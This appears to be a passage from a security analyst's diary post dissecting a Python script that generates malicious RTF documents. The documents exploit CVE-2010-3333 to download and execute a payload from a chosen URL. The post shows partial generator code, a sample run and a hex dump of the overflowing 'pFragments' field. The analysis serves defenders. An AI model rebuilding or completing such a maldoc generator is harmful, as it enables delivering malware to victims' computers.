print " Example:   TotallyTrusted.doc "
filename = raw_input()

print " What is the link to your .exe ? "
print "HINT!!:: Feed me a url. ie: http://super/eleet/payload.exe   "

url = raw_input()

print "Gears and Cranks working  mag1c in the background  "
time.sleep(3)
close="{}}}}}"
binme=binascii.b2a_hex(url)
file=(‘ … base64 content removed … \n')
textfile = open(filename , 'w')
textfile.write(file.decode('base64')+binme+close)
textfile.close()
time.sleep(3)
print “enjoy"

The script is very simple. It asks you for a filename and the URL that will serve the malicious file to be downloaded and executed on the victim's computer. Just be reading the strings '{}}}}', you can guess that the script generates an RTF document.

$ python maldoc_generator.py
Microsoft Office 2010, download -N- execute
 What do you want to name your  .doc ?
 Example:   TotallyTrusted.doc
example.doc
 What is the link to your .exe ?
HINT!!:: Feed me a url. ie: http://super/eleet/payload.exe
http://webserver.com/sample.exe
Gears and Cranks working  mag1c in the background
enjoy

The generated file is indeed a malicious RTF document:

$ file example.doc
example.doc: Rich Text Format data, version 1, unknown character set

Of course, my brand new file was unknown on VT. Let’s upload it and it gets immediately a good (or bad - depending on your position) score of 31/57[1]. This is normal, the payload uses the good old %%cve:2010-3333%% better known as MS-10-087[2]. You can recognise the RTF keyword 'pFragments' which is the cause of the buffer overflow:

00000500: 7b5c 736e 7b7d 7b7d 7b5c 736e 7d7b 5c73  {\sn{}{}{\sn}{\s
00000510: 6e7d 7b5c 2a5c 2a7d 7046 7261 676d 656e  n}{\*\*}pFragmen
00000520: 7473 7d7b 5c2a 5c2a 5c2a 7d7b 5c2a 5c2a  ts}{\*\*\*}{\*\*
00000530: 5c73 767b 5c2a 7d39 3b32 3b66 6666 6666  \sv{\*}9;2;fffff
00000540: 6666 6666 6623 3035 3030 3030 3030 3030  fffff#0500000000
00000550: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
00000560: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
00000570: 6530 6239 3263 3366 4141 4141 4141 4141  e0b92c3fAAAAAAAA
00000580: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA

Today, it is quite easy to find document generators for all types of vulnerabilities and you don't need to go to the dark web for this purpose. %%cve:2017-0199%% remains a very popular one for a few months.

Just for the fun, I generated the malicious document with the example URL provided in the source code (http://super/eleet/payload.exe) and it was known on VT! Yes, script kiddies are still alive...

[1] https://www.virustotal.com/#/file/4cddfa1c6223ebbd676dbd8fcb46d8b3864ca10c6e40820103e246e7d6d57f3d/detection
[2] https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-087

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

1 Comments